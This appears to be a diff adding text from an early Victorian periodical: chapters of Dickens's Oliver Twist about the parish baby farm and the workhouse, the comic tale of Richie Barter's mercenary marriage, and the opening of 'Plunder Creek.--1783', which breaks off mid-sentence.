+resolved, that Oliver should be "farmed," or, in other words, that
+he should be despatched to a branch-workhouse some three miles off,
+where twenty or thirty other juvenile offenders against the poor-laws
+rolled about the floor all day, without the inconvenience of too much
+food, or too much clothing, under the parental superintendence of an
+elderly female who received the culprits at and for the consideration
+of sevenpence-halfpenny per small head per week. Sevenpence-halfpenny's
+worth per week is a good round diet for a child; a great deal may be
+got for sevenpence-halfpenny--quite enough to overload its stomach, and
+make it uncomfortable. The elderly female was a woman of wisdom and
+experience; she knew what was good for children, and she had a very
+accurate perception of what was good for herself. So, she appropriated
+the greater part of the weekly stipend to her own use, and consigned
+the rising parochial generation to even a shorter allowance than was
+originally provided for them; thereby finding in the lowest depth a
+deeper still, and proving herself a very great experimental philosopher.
+
+Everybody knows the story of another experimental philosopher, who had
+a great theory about a horse being able to live without eating, and who
+demonstrated it so well, that he got his own horse down to a straw a
+day, and would most unquestionably have rendered him a very spirited
+and rampacious animal upon nothing at all, if he hadn't died, just
+four-and-twenty hours before he was to have had his first comfortable
+bait of air. Unfortunately for the experimental philosophy of the female
+to whose protecting care Oliver Twist was delivered over, a similar
+result usually attended the operation of _her_ system; for just at
+the very moment when a child had contrived to exist upon the smallest
+possible portion of the weakest possible food, it did perversely happen
+in eight and a half cases out of ten, either that it sickened from
+want and cold, or fell into the fire from neglect, or got smothered by
+accident; in any one of which cases, the miserable little being was
+usually summoned into another world, and there gathered to the fathers
+which it had never known in this.
+
+Occasionally, when there was some more than usually interesting inquest
+upon a parish child who had been overlooked in turning up a bedstead,
+or inadvertently scalded to death when there happened to be a washing,
+(though the latter accident was very scarce,--anything approaching to
+a washing being of rare occurrence in the farm,) the jury would take
+it into their heads to ask troublesome questions, or the parishioners
+would rebelliously affix their signatures to a remonstrance: but these
+impertinencies were speedily checked by the evidence of the surgeon, and
+the testimony of the beadle; the former of whom had always opened the
+body, and found nothing inside (which was very probable indeed), and the
+latter of whom invariably swore whatever the parish wanted, which was
+very self-devotional. Besides, the board made periodical pilgrimages to
+the farm, and always sent the beadle the day before, to say they were
+coming. The children were neat and clean to behold, when _they_ went;
+and what more would the people have?
+
+It cannot be expected that this system of farming would produce any very
+extraordinary or luxuriant crop. Oliver Twist's eighth birth-day found
+him a pale, thin child, somewhat diminutive in stature, and decidedly
+small in circumference. But nature or inheritance had implanted a good
+sturdy spirit in Oliver's breast: it had had plenty of room to expand,
+thanks to the spare diet of the establishment; and perhaps to this
+circumstance may be attributed his having any eighth birth-day at all.
+Be this as it may, however, it _was_ his eighth birth-day; and he was
+keeping it in the coal-cellar with a select party of two other young
+gentlemen, who, after participating with him in a sound threshing, had
+been locked up therein, for atrociously presuming to be hungry, when
+Mrs. Mann, the good lady of the house, was unexpectedly startled by the
+apparition of Mr. Bumble the beadle, striving to undo the wicket of the
+garden-gate.
+
+"Goodness gracious! is that you, Mr. Bumble, sir?" said Mrs. Mann,
+thrusting her head out of the window in well-affected ecstasies of
+joy. "(Susan, take Oliver and them two brats up stairs, and wash 'em
+directly.)--My heart alive! Mr. Bumble, how glad I am to see you,
+sure-ly!"
+
+Now Mr. Bumble was a fat man, and a choleric one; so, instead of
+responding to this open-hearted salutation in a kindred spirit, he gave
+the little wicket a tremendous shake, and then bestowed upon it a kick,
+which could have emanated from no leg but a beadle's.
+
+"Lor, only think," said Mrs. Mann, running out,--for the three boys had
+been removed by this time,--"only think of that! That I should have
+forgotten that the gate was bolted on the inside, on account of them
+dear children! Walk in, sir; walk in, pray, Mr. Bumble; do, sir."
+
+Although this invitation was accompanied with a curtsey that might have
+softened the heart of a churchwarden, it by no means mollified the
+beadle.
+
+"Do you think this respectful or proper conduct, Mrs. Mann," inquired
+Mr. Bumble, grasping his cane,--"to keep the parish officers a-waiting
+at your garden-gate, when they come here upon porochial business
+connected with the porochial orphans? Are you aware, Mrs. Mann, that you
+are, as I may say, a porochial delegate, and a stipendiary?"
+
+"I'm sure, Mr. Bumble, that I was only a-telling one or two of the dear
+children as is so fond of you, that it was you a-coming," replied Mrs.
+Mann with great humility.
+
+Mr. Bumble had a great idea of his oratorical powers and his importance.
+He had displayed the one, and vindicated the other. He relaxed.
+
+"Well, well, Mrs. Mann," he replied in a calmer tone; "it may be as you
+say; it may be. Lead the way in, Mrs. Mann; for I come on business, and
+have got something to say."
+
+Mrs. Mann ushered the beadle into a small parlour with a brick floor,
+placed a seat for him, and officiously deposited his cocked hat and
+cane on the table before him. Mr. Bumble wiped from his forehead the
+perspiration which his walk had engendered, glanced complacently at the
+cocked hat, and smiled. Yes, he smiled: beadles are but men, and Mr.
+Bumble smiled.
+
+"Now don't you be offended at what I'm a-going to say," observed Mrs.
+Mann with captivating sweetness. "You've had a long walk, you know, or
+I wouldn't mention it. Now will you take a little drop of something,
+Mr. Bumble?"
+
+"Not a drop--not a drop," said Mr. Bumble, waving his right hand in a
+dignified, but still placid manner.
+
+"I think you will," said Mrs. Mann, who had noticed the tone of the
+refusal, and the gesture that had accompanied it. "Just a _leetle_ drop,
+with a little cold water, and a lump of sugar."
+
+Mr. Bumble coughed.
+
+"Now, just a little drop," said Mrs. Mann persuasively.
+
+"What is it?" inquired the beadle.
+
+"Why it's what I'm obliged to keep a little of in the house, to put in
+the blessed infants' Daffy when they ain't well, Mr. Bumble," replied
+Mrs. Mann as she opened a corner cupboard, and took down a bottle and
+glass. "It's gin."
+
+"Do you give the children Daffy, Mrs. Mann?" inquired Bumble, following
+with his eyes the interesting process of mixing.
+
+"Ah, bless 'em, that I do, dear as it is," replied the nurse. "I
+couldn't see 'em suffer before my very eyes, you know, sir."
+
+"No," said Mr. Bumble approvingly; "no, you could not. You are a humane
+woman, Mrs. Mann."--(Here she set down the glass.)--"I shall take an
+early opportunity of mentioning it to the board, Mrs. Mann."--(He drew
+it towards him.)--"You feel as a mother, Mrs. Mann."--(He stirred
+the gin and water.)--"I--I drink your health with cheerfulness, Mrs.
+Mann;"--and he swallowed half of it.
+
+"And now about business," said the beadle, taking out a leathern
+pocket-book. "The child that was half-baptised, Oliver Twist, is eight
+years old to-day."
+
+"Bless him!" interposed Mrs. Mann, inflaming her left eye with the
+corner of her apron.
+
+"And notwithstanding an offered reward of ten pound, which was
+afterwards increased to twenty pound,--notwithstanding the most
+superlative, and, I may say, supernat'ral exertions on the part of this
+parish," said Bumble, "we have never been able to discover who is his
+father, or what is his mother's settlement, name, or condition."
+
+Mrs. Mann raised her hands in astonishment; but added, after a moment's
+reflection, "How comes he to have any name at all, then?"
+
+The beadle drew himself up with great pride, and said, "I inwented it."
+
+"You, Mr. Bumble!"
+
+"I, Mrs. Mann. We name our foundlin's in alphabetical order. The last
+was a S,--Swubble: I named him. This was a T,--Twist: I named _him_. The
+next one as comes will be Unwin, and the next Vilkins. I have got names
+ready made to the end of the alphabet, and all the way through it again,
+when we come to Z."
+
+"Why, you're quite a literary character, sir!" said Mrs. Mann.
+
+"Well, well," said the beadle, evidently gratified with the compliment;
+"perhaps I may be; perhaps I may be, Mrs. Mann." He finished the gin and
+water, and added, "Oliver being now too old to remain here, the Board
+have determined to have him back into the house; and I have come out
+myself to take him there,--so let me see him at once."
+
+"I'll fetch him directly," said Mrs. Mann, leaving the room for that
+purpose. And Oliver having by this time had as much of the outer coat of
+dirt which encrusted his face and hands removed as could be scrubbed off
+in one washing, was led into the room by his benevolent protectress.
+
+"Make a bow to the gentleman, Oliver," said Mrs. Mann.
+
+Oliver made a bow, which was divided between the beadle on the chair and
+the cocked hat on the table.
+
+"Will you go along with me, Oliver?" said Mr. Bumble in a majestic voice.
+
+Oliver was about to say that he would go along with anybody with great
+readiness, when, glancing upwards, he caught sight of Mrs. Mann, who
+had got behind the beadle's chair, and was shaking her fist at him with
+a furious countenance. He took the hint at once, for the fist had been
+too often impressed upon his body not to be deeply impressed upon his
+recollection.
+
+"Will _she_ go with me?" inquired poor Oliver.
+
+"No, she can't," replied Mr. Bumble; "but she'll come and see you,
+sometimes."
+
+This was no very great consolation to the child; but, young as he was,
+he had sense enough to make a feint of feeling great regret at going
+away. It was no very difficult matter for the boy to call the tears
+into his eyes. Hunger and recent ill-usage are great assistants if you
+want to cry; and Oliver cried very naturally indeed. Mrs. Mann gave
+him a thousand embraces, and, what Oliver wanted a great deal more, a
+piece of bread and butter, lest he should seem too hungry when he got
+to the workhouse. With the slice of bread in his hand, and the little
+brown-cloth parish cap upon his head, Oliver was then led away by Mr.
+Bumble from the wretched home where one kind word or look had never
+lighted the gloom of his infant years. And yet he burst into an agony of
+childish grief as the cottage-gate closed after him. Wretched as were
+the little companions in misery he was leaving behind, they were the
+only friends he had ever known; and a sense of his loneliness in the
+great wide world sank into the child's heart for the first time.
+
+Mr. Bumble walked on with long strides; and little Oliver, firmly
+grasping his gold-laced cuff, trotted beside him, inquiring at the end
+of every quarter of a mile whether they were "nearly there," to which
+interrogations Mr. Bumble returned very brief and snappish replies; for
+the temporary blandness which gin and water awakens in some bosoms had
+by this time evaporated, and he was once again a beadle.
+
+Oliver had not been within the walls of the workhouse a quarter of an
+hour, and had scarcely completed the demolition of a second slice of
+bread, when Mr. Bumble, who had handed him over to the care of an old
+woman, returned, and, telling him it was a board night, informed him
+that the board had said he was to appear before it forthwith.
+
+Not having a very clearly defined notion of what a live board was,
+Oliver was rather astounded by this intelligence, and was not quite
+certain whether he ought to laugh or cry. He had no time to think about
+the matter, however; for Mr. Bumble gave him a tap on the head with
+his cane to wake him up, and another on the back to make him lively,
+and, bidding him follow, conducted him into a large whitewashed room,
+where eight or ten fat gentlemen were sitting round a table, at the top
+of which, seated in an arm-chair rather higher than the rest, was a
+particularly fat gentleman with a very round, red face.
+
+"Bow to the board," said Bumble. Oliver brushed away two or three tears
+that were lingering in his eyes, and seeing no board but the table,
+fortunately bowed to that.
+
+"What's your name, boy?" said the gentleman in the high chair.
+
+Oliver was frightened at the sight of so many gentlemen, which made him
+tremble; and the beadle gave him another tap behind, which made him cry;
+and these two causes made him answer in a very low and hesitating voice;
+whereupon a gentleman in a white waistcoat said he was a fool, which was
+a capital way of raising his spirits, and putting him quite at his ease.
+
+"Boy," said the gentleman in the high chair; "listen to me. You know
+you're an orphan, I suppose?"
+
+"What's that, sir?" inquired poor Oliver.
+
+"The boy _is_ a fool--I thought he was," said the gentleman in the white
+waistcoat, in a very decided tone. If one member of a class be blessed
+with an intuitive perception of others of the same race, the gentleman
+in the white waistcoat was unquestionably well qualified to pronounce an
+opinion on the matter.
+
+"Hush!" said the gentleman who had spoken first. "You know you've got no
+father or mother, and that you are brought up by the parish, don't you?"
+
+"Yes, sir," replied Oliver, weeping bitterly.
+
+"What are you crying for?" inquired the gentleman in the white
+waistcoat; and to be sure it was very extraordinary. What _could_ he be
+crying for?
+
+"I hope you say your prayers every night," said another gentleman in a
+gruff voice, "and pray for the people who feed you, and take care of
+you, like a Christian."
+
+"Yes, sir," stammered the boy. The gentleman who spoke last was
+unconsciously right. It would have been _very_ like a Christian, and a
+marvellously good Christian, too, if Oliver had prayed for the people
+who fed and took care of _him_. But he hadn't, because nobody had taught
+him.
+
+"Well, you have come here to be educated, and taught a useful trade,"
+said the red-faced gentleman in the high chair.
+
+"So you'll begin to pick oakum to-morrow morning at six o'clock," added
+the surly one in the white waistcoat.
+
+For the combination of both these blessings in the one simple process of
+picking oakum, Oliver bowed low by the direction of the beadle, and was
+then hurried away to a large ward, where, on a rough hard bed, he sobbed
+himself to sleep. What a noble illustration of the tender laws of this
+favoured country! they let the paupers go to sleep!
+
+Poor Oliver! He little thought, as he lay sleeping in happy
+unconsciousness of all around him, that the board had that very day
+arrived at a decision which would exercise the most material influence
+over all his future fortunes. But they had. And this was it:--
+
+The members of this board were very sage, deep, philosophical men; and
+when they came to turn their attention to the workhouse, they found out
+at once, what ordinary folks would never have discovered;--the poor
+people liked it! It was a regular place of public entertainment for the
+poorer classes,--a tavern where there was nothing to pay,--a public
+breakfast, dinner, tea, and supper, all the year round,--a brick and
+mortar elysium where it was all play and no work. "Oho!" said the board,
+looking very knowing; "we are the fellows to set this to rights; we'll
+stop it all in no time." So they established the rule, that all poor
+people should have the alternative (for they would compel nobody, not
+they,) of being starved by a gradual process in the house, or by a quick
+one out of it. With this view, they contracted with the water-works to
+lay on an unlimited supply of water, and with a corn-factor to supply
+periodically small quantities of oatmeal; and issued three meals
+of thin gruel a-day, with an onion twice a week, and half a roll on
+Sundays. They made a great many other wise and humane regulations having
+reference to the ladies, which it is not necessary to repeat: kindly
+undertook to divorce poor married people, in consequence of the great
+expense of a suit in Doctors' Commons; and, instead of compelling a man
+to support his family as they had theretofore done, took his family
+away from him, and made him a bachelor! There is no telling how many
+applicants for relief under these last two heads would not have started
+up in all classes of society, if it had not been coupled with the
+workhouse. But they were long-headed men, and they had provided for this
+difficulty. The relief was inseparable from the workhouse and the gruel;
+and that frightened people.
+
+For the first three months after Oliver Twist was removed, the system
+was in full operation. It was rather expensive at first, in consequence
+of the increase in the undertaker's bill, and the necessity of taking
+in the clothes of all the paupers, which fluttered loosely on their
+wasted, shrunken forms, after a week or two's gruel. But the number of
+workhouse inmates got thin, as well as the paupers; and the board were
+in ecstasies.
+
+The room in which the boys were fed, was a large, stone hall, with a
+copper at one end, out of which the master, dressed in an apron for
+the purpose, and assisted by one or two women, ladled the gruel at
+meal-times; of which composition each boy had one porringer, and no
+more,--except on festive occasions, and then he had two ounces and a
+quarter of bread besides. The bowls never wanted washing--the boys
+polished them with their spoons, till they shone again; and when they
+had performed this operation (which never took very long, the spoons
+being nearly as large as the bowls), they would sit staring at the
+copper with such eager eyes as if they could devour the very bricks
+of which it was composed; employing themselves meanwhile in sucking
+their fingers most assiduously, with the view of catching up any
+stray splashes of gruel that might have been cast thereon. Boys have
+generally excellent appetites: Oliver Twist and his companions suffered
+the tortures of slow starvation for three months; at last they got so
+voracious and wild with hunger, that one boy, who was tall for his age,
+and hadn't been used to that sort of thing, (for his father had kept a
+small cook's shop,) hinted darkly to his companions, that unless he had
+another basin of gruel _per diem_, he was afraid he should some night
+eat the boy who slept next him, who happened to be a weakly youth of
+tender age. He had a wild, hungry eye, and they implicitly believed him.
+A council was held; lots were cast who should walk up to the master
+after supper that evening, and ask for more; and it fell to Oliver Twist.
+
+The evening arrived: the boys took their places; the master in his
+cook's uniform stationed himself at the copper; his pauper assistants
+ranged themselves behind him; the gruel was served out, and a long grace
+was said over the short commons. The gruel disappeared, and the boys
+whispered each other and winked at Oliver, while his next neighbours
+nudged him. Child as he was, he was desperate with hunger and reckless
+with misery. He rose from the table, and advancing, basin and spoon in
+hand, to the master, said, somewhat alarmed at his own temerity--
+
+"Please, sir, I want some more."
+
+The master was a fat, healthy man, but he turned very pale. He gazed in
+stupified astonishment on the small rebel for some seconds, and then
+clung for support to the copper. The assistants were paralyzed with
+wonder, and the boys with fear.
+
+"What!" said the master at length, in a faint voice.
+
+"Please, sir," replied Oliver, "I want some more."
+
+The master aimed a blow at Oliver's head with the ladle, pinioned him in
+his arms, shrieked aloud for the beadle.
+
+The board were sitting in solemn conclave when Mr. Bumble rushed into
+the room in great excitement, and addressing the gentleman in the high
+chair, said,--
+
+"Mr. Limbkins, I beg your pardon, sir;--Oliver Twist has asked for
+more." There was a general start. Horror was depicted on every
+countenance.
+
+"For _more_!" said Mr. Limbkins. "Compose yourself, Bumble, and answer
+me distinctly. Do I understand that he asked for more, after he had
+eaten the supper allotted by the dietary?"
+
+"He did, sir," replied Bumble.
+
+"That boy will be hung," said the gentleman in the white waistcoat; "I
+know that boy will be hung."
+
+Nobody controverted the prophetic gentleman's opinion. An animated
+discussion took place. Oliver was ordered into instant confinement; and
+a bill was next morning pasted on the outside of the gate, offering a
+reward of five pounds to anybody who would take Oliver Twist off the
+hands of the perish: in other words, five pounds and Oliver Twist were
+offered to any man or woman who wanted an apprentice to any trade,
+business, or calling.
+
+"I never was more convinced of anything in my life," said the gentleman
+in the white waistcoat, as he knocked at the gate and read the bill next
+morning,--"I never was more convinced of anything in my life, than I am
+that that boy will come to be hung."
+
+As I propose to show in the sequel whether the white-waistcoated
+gentleman was right or not, I should perhaps mar the interest of this
+narrative, (supposing it to possess any at all,) if I ventured to hint
+just yet, whether the life of Oliver Twist will be a long or a short
+piece of biography.
+
+
+
+
+     RICHIE BARTER; THE MAN WHO SHOULD, BUT DID NOT.
+
+Yes! the good Sir Toby Plum died; and the very statues in the Stock
+Exchange were moved,--the very pillars of that sanctuary particularly
+distinguished themselves by their violent agitation,--the old Lady in
+Threadneedle Street refused to be comforted,--and the universal brow
+of 'Change Alley was clouded with the profoundest grief. The dumb
+animals of that region--the bears and bulls--prowled about in savage
+woe, and "looked unutterable things," on the day that the remains of
+Sir Toby Plum were gathered to his fathers. He had a running personal
+account of seventy years and upwards with old Dame Nature, which is now
+paid;--(the only one, it was maliciously said, he ever paid;)--and he
+dies possessed--not he, but others--of ---- thousands, (we leave a blank
+for the number, to be hereafter filled up,) or, what is quite as good,
+the name of them.
+
+"What's in a name?" Ask that beautiful inconsolable creature, his
+widow, who, at the age of twenty-three, finds she is once more mistress
+of herself, and of her dear Sir Toby's worldly possessions besides.
+As these were supposed to be infinite, can it be imagined that we
+will attempt to set down in round numbers what is inconceivable, and,
+consequently, without a name? But see:--there is a staid, solemn,
+business-looking personage, just stept out of her boudoir,--Peter Smyrk,
+the man of business, a kind of lurcher to the late Sir Toby. She is
+at present too inconsolable to receive him. Perhaps he might inform
+you--you perceive by his impatience and disappointment he is most
+anxious to do so. She, poor creature! could not be supposed interested
+in such details, who was only a few days ago on the very brink of the
+grave--(for she accompanied the remains of the good Sir Toby to the
+churchyard).
+
+It was about a fortnight after the death of good Sir Toby that his
+disconsolate widow felt reconciled to her mourning and "the novelty of
+her situation." Absorbed in thoughts about her own sweet person, and
+busy with reflections--such as her mirror gave,--the important Peter
+Smyrk was announced. The sweetest voice in the city welcomed Peter Smyrk.
+
+"Very happy to see you, madam; but still sincerely sorry----"
+
+"Pray, Mr. Smyrk, don't revive a subject so painful to me. Sir Toby
+was a good man: I shall never--ne-ver forget----" And tears such us
+angels--or widows--weep, coursed down her cheek.
+
+"I'm sure not, madam; and I must entreat you to believe how sincerely I
+sympathise with you on your loss, and how very sorry I am to be----"
+
+"Ah! you are very--very good, Mr. Smyrk--very considerate; so was the
+good Sir Toby. But these papers----"
+
+"--Will, I fear, madam, but create fresh sorrow. In fact----"
+
+"Very true, Mr. Smyrk; anything that reminds me of that good old man
+causes my sorrows to flow afresh."
+
+"In truth, madam," said the sympathising man of business, "there _is_
+something in these papers to cause just and deserving regret,--but still
+very little to remind you of him;--he has left you but 500_l._ All the
+rest of his property goes to his nephew."
+
+"What! all?" exclaimed the relict of Sir Toby Plum.
+
+"All, madam;--everything."
+
+"Then I am the----" But the pillows of her ottoman only knew, as she
+buried her face in them, the superlative degree of misery to which she
+said she was consigned by the too prudent Sir Toby.
+
+It was a sweet, voluptuous moonlight night,--so fair, so sweet, so full
+of that delicious languor that best accords with the human heart in its
+softest hours, tinging the picturesque summits of chimney-tops as well
+as towers, and bringing out into pleasing relief each particular brick
+of the classic region of the Minories,--that Richie Barter, enveloped
+in a double-milled dreadnought, stood before what _was_ the mansion of
+the late Sir Toby Plum. Richie was the very personification of a man on
+'Change,--busy, important, and imposing. He was head clerk in the house,
+and having served the good Sir Toby till he could serve him no longer,
+and having wound up the affairs of the firm, which seem disposed of,
+in that neatly-tied parcel under his arm, he avoids the garish eye of
+day, and calls by moonlight to transact a little business and condolence
+together. Richie was a prudent man, frugal both of his purse and person,
+and stood at the door of Sir Toby, elevated with the integrity of his
+purpose, and the consciousness of four thousand good pounds his own
+making. A few moments, and he was ushered into the prettiest of all
+parlours, where, reposing on the most seductive of ottomans, reclined
+the pale and disconsolate mistress of the mansion. By the softened
+lustre of a solitary lamp, the prudent eye of Richie took a hasty glance
+around him: everything bespoke comfort and elegance. He sat down, drew
+his chair near the sofa, and laid the neatly-tied parcel at her feet.
+Only one of these was visible, and was shrouded from the too curious
+gaze of Richie in a little slipper; the other, with retiring delicacy,
+was withdrawn within those precincts where the imagination of Richie
+did not follow. The communings of Richie on the occasion were worthy of
+him, and as he feasted his eyes on its fair and delicate proportions, he
+calculated (for he was a man of calculation) by a rule of _proportions_,
+that if one sweet foot gave such pleasure, what would two give? In
+truth, Richie, after trying the question by every rule of proportion
+that _Cocker_ or _Cupid_ could suggest, boldly asked himself what might
+the lady give, who abounded in proportion; and, as a prudent man, he
+thought at no remote period he might put that question.
+
+"Still inconsolable, madam?" said Richie Barter after a few prefatory
+hems. "Surely you might yield to the soothing anxieties of your friends,
+and be reconciled to the loss--good man that he was!"
+
+"Ah! Mr. Barter, such a loss!--so undeserved!--so unexpected!--and to be
+left thus a prey to----"
+
+"We must all go in our turn, madam," interrupted the sententious Richie;
+"and 'tis a consolation to his successors to know that his affairs
+were in a most flourishing condition;--a net capital, madam, of forty
+thousand pounds, after all demands. You will find the exact state of his
+affairs in these papers."
+
+Lady Plum petulantly kicked the parcel off the sofa.
+
+"I hate business, Mr. Barter; and were forty times the sum"
+(perceiving his ignorance of the testamentary disposition of
+the property) "contained in them, I would trust to your skill
+and integrity to wind up the matter."
+
+"These forty thousand at your command, madam," said Richie, "the bulk of
+Sir Toby's property, if properly _husbanded_----"
+
+The mention of a sum which she knew she _had not_, coupled with the name
+of husband, who she knew had not appreciated her merits, brought two
+pearly drops into her eyes, which Richie would have given a quarter's
+salary to be permitted to kiss off, and which vied in size and lustre
+with those that trembled in her ears; but he did what was quite as
+grateful to the widow,--he summoned a little moisture into his own. This
+sympathetic display was not lost on the considerate lady.
+
+"'Forty times that sum'--were not these her words?" thought Richie
+Barter, as, wending his way down Cheapside, he began to ponder on the
+widow's words, "and would entrust it all to Richie Barter! Well! that
+sum, and my own four thousand, would make a man of Richie Barter for
+life." And, brimful of the gayest and happiest anticipations, he strode
+on.
+
+"Please, sir, what o'clock is it?" asked a little boy of Richie, as he
+stood staring at the clock of Bow Church; to which Richie, heedless of
+time and space, answered, "Forty thousand;" and, equally regardless of
+the shouts of laughter which the answer provoked, he walked on.
+
+Night after night the precise Richie stood before the mansion of the
+late Sir Toby Plum, enwrapt in his dreadnought, and in thoughts equally
+fearless. The same low, considerate, but somewhat confidential rap
+admitted him; the same sweet little parlour and its fair occupant
+received him; the same confidence was expressed in his integrity and
+skill. Financial arrangements, discussed by _proportions_, he found
+irresistibly conclusive; till, in the fulness of time,--according to
+Richie's own account, three months _after sight_,--he became one of
+the happiest of husbands, and forthwith began to make arrangements for
+_husbanding_--now that he was qualified--their joint stock; and Richie
+Barter was a happy man. Richie was also a cautious man; but how absurd
+a thing is caution, particularly in affairs of the heart!--with which,
+if they would prosper, the head must have nothing to do. In a short time
+Richie began to discover that he might possibly have been a little too
+precipitate in marriage; that pro_portions_, which gave forty thousand
+pounds as a result of the most correct calculation, were not to be
+relied upon; in short, that he might have looked before him;--and Richie
+sighed profoundly as he exclaimed, "_I should--but did not!_"
+
+The moon that generally succeeds matrimony, and upon which all the
+sweets of poetry, and prose, and the grocer's shop, have been expended
+to give an adequate idea of its deliciousness,--thus "gilding refined
+gold," and making a planet, supposed to be green cheese, the very
+essence of honey,--that luminary had run its course, and found Richie
+Barter one day in the dishabille becoming a Benedict, flung on a sofa,
+with his dexter hand thrown across the back of it, lost in a reverie
+as profound as his breeches-pocket, with something like a "pale cast
+of thought" on a countenance once rubicund, and now rendered perfectly
+cadaverous by a glance at a letter which he was crumpling in his fist.
+
+"How is this, Julia, dear? there must be some mistake," said the
+agitated Richie to the most prudent of wives, as she entered the room.
+"Only a paltry five hundred, when I thought forty thousand was in the
+way!--Surely there must be a mistake in this!"
+
+"In matters of business, Mr. Barter,--you know I hate business,--there
+_will_ be mistakes," quoth the lady; "business is my aversion;" and she
+swept by the amazed Richie with all the dignity of a Siddons. "I married
+you, Mr. Barter, to get rid of business and its degrading details;" and
+she looked with no very equivocal air of contempt on the bulk of Richie
+as he lay coiled on the sofa, crumpling the letter.
+
+"Mr. Smyrk," said a servant half opening the door.
+
+"Wish you ten thousand joys, Mrs. Barter," said Sir Toby's man of
+business as he entered. "An excellent character,--a most prudent man, is
+Mr. Barter."
+
+"Why not make it forty thousand joys, sir?" exclaimed Richie.
+
+"Very facetious, Mr. Barter; but this just reminds me of a little
+business I came about,--a few debts of your good lady, which her
+creditors are a little clamorous for, particularly since you've got the
+reputation of having got forty thousand pounds with her."
+
+"Forty thousand devils!" roared the furious Richie. "Will the
+_reputation_ of that sum pay one shilling of her debts?--tell me that."
+
+"Can't exactly say; but, as the friend of the late Sir Toby, I looked
+in, in the family way. A little business of my own--a trifle over three
+hundred pounds;--Mrs. Barter will tell you the value received." And the
+prudent Mr. Smyrk presented his bill to that amount, and left Richie
+glaring and grinning at this fresh demand.
+
+"This is beyond all endurance, Mrs. Barter," said Richie, as he flung
+the bill on the ground.
+
+Mrs. B. deliberately took it up, and appeared for a moment absorbed
+in thought. "I have it!--I have it!" at length she exclaimed, as the
+bewildered Richie stood staring at her abstraction.
+
+"Well, Mrs. B.; and what have you--not forty thousand pounds?"
+
+"No--a thought," said she seriously.
+
+"A fiddle-stick!" cried Richie.
+
+"No such thing, love!" and the fascinating Mrs. B. slid her arm round
+her helpmate's neck, and began to unfold her purpose. "You know," said
+she, "how I was disappointed in my just expectations at the death of
+Sir Toby. I had every reason to expect that the bulk of his property,
+which goes to his nephew, would have been mine. That young man is as
+yet unacquainted with the fact, and by the assistance of Smyrk, whom we
+might get over, he might remain so, and for a period sufficiently long
+for our purpose. Smyrk may manage that, and also to keep the world in
+ignorance of the matter. At present we have the _reputation_ of being
+the sole owners of forty thousand pounds."
+
+"Nonsense, Mrs. B.! What's in a name?" muttered Richie.
+
+"I'll tell you what's in it. There is, in the first place, the credit
+derived from the reputation of that sum,--the splendour, the elegance,
+the comfort, the world's good opinion, the world's----"
+
+"Laugh!" exclaimed Barter, with deriding bitterness, as he sneered at
+the chimera of his helpmate. "I'm a ruined man! I'm a beggar!--a fool!"
+
+"You may be all three together, Mr. Barter, if you choose; but that
+would be too extravagant. Let us first settle this trifle of Smyrk's,
+whose bare whisper, you know, in the city, will settle the affair
+for us; and with your present savings, love,--isn't it four thousand
+pounds?--and the name of forty thousand pounds----"
+
+"What's in a name?" sighed the desponding Richie; but, brightening at
+the prospect conjured up before him, he appeared to acquiesce, and the
+bill of Peter Smyrk was instantly paid. Mrs. B's drafts on futurity,
+and on Richie's four thousand pounds, began to be pretty considerable;
+and all the _good debts_, which, as sleeping partner in the firm, she
+brought with her, were paid.
+
+How often did he revert to his former unambitious and peaceful life when
+freed from any attachments either of love or law,--when, with a clear
+conscience, and a well-brushed coat, he sat perched on the high stool
+at his desk in ---- Alley, where his horizon was bounded by cotton-bags
+and wool-sacks, and through a vista of tea-chests, as they were piled
+in pyramidal precision, before his considerate eyes! Thoughts of better
+days and better things came over him as he flung his last sovereign in
+payment for some pretty trumpery of his very dear Mrs. B. and cried, "I
+might have prevented all this,--_I should_--_but did not_!"
+
+In this mood of mind it was, that Richie, as he was one day exercising
+his ruminating faculties on the number and colour of the flags on London
+Bridge, and profoundly intent on the diagrams formed by the mud thereon,
+was roused from his reverie by a smart tap on the shoulder. Now this was
+given with such precision, there was no mistaking it; and if he had any
+doubts of the intent of the individual thus accosting him, they were at
+once dispelled by his _captivating_ manner, which, though manly, was
+somewhat _apprehensive_, and of such a nature as to be quite _taking_ at
+first sight;--such is the overpowering, irresistible charm of manner!
+
+"'Tis rather sudden, sir," said Richie, "and the amount not very great;
+it might have been settled without arrest."
+
+"You must admit, Mr. Barter," said the sheriff's officer, "that the
+thing is done genteelly; no noise or exposure. Surely you won't go to
+jail for this trifle;" and Richie groaned as the _Bench_ and its bars
+stared him in the face.
+
+"No use in fretting, sir," said the chief performer in this civil
+action. "There's nothing like bending to a storm. If a man reels and
+staggers, the best thing he can do is to 'go to the wall' for support:
+and let me tell you, sir, that many a man has made a right good stand
+_there_ when driven to it. Lord bless you! the coats of half my
+acquaintance are absolutely threadbare from standing too close to it.
+You don't understand me, mayhap not; two or three good _compositions_,
+and _then_ a good fat insolvency, friendly assignees, and a few other
+friendly etceteras,--that's what I mean by 'going to the wall,' Mr.
+Barter. You'll make a pretty _wall_flower yourself--an excellent
+creeping plant. You may be bruised a little, and in that case the _wall_
+will be good for shelter and support, and in time you may creep against
+it;" and the worthy official gentlemen chuckled, as he gave poor Barter
+a nudge in the side, and conducted him through what he called the way of
+all flesh,--a small wicket studded with spikes, on either side of which
+stood fellows with looks as sharp and as full of iron. And as Richie
+found himself in the midst of the prison, a sinking of the heart--a
+feeling of loneliness and desolation came over him, and he exclaimed,
+
+"How easily I might have avoided this!--I could have done so--'tis clear
+I SHOULD--BUT I DID NOT!"
+                                                             L.
+
+
+
+
+            PLUNDER CREEK.--1783.
+           _A Legend of New York._
+
+    BY THE AUTHOR OF "TALES OF AN ANTIQUARY."
+
+    I cannot tell how the truth may be,
+    I say the tale as 'twas said to me.--SCOTT.
+
+The reader perhaps scarcely requires to be reminded, that an
+acknowledgment of the independence of America, and preliminaries of
+peace between that country and Britain, were signed at Paris, November
+30th, 1782; though it was not until the following February that a vessel
+from the United States first arrived in the river Thames. Early in
+that month the friend who communicated this narrative chanced to visit
+an old London physician, who had long since retired from practice,
+and who had, oddly enough, selected as the seat of his repose one of
+those ancient houses, built half of brick and half of wood, which stood
+within the last seven years, on the western side of the Southwark end
+of old London Bridge, partly hanging over the roaring water, and partly
+standing in the street called Bridge-Foot. Another visitor, who was then
+present, was a zealous old Dissenting clergyman, probably originally
+of the family of Dunwoodie, or Dinwithie, but who at this time was
+called Doctor Downwithit; a name which he singularly well deserved, from
+his practice of beating the cushion in his fervency, in the pulpit,
+and of vehemently striking the table in conversation, to enforce his
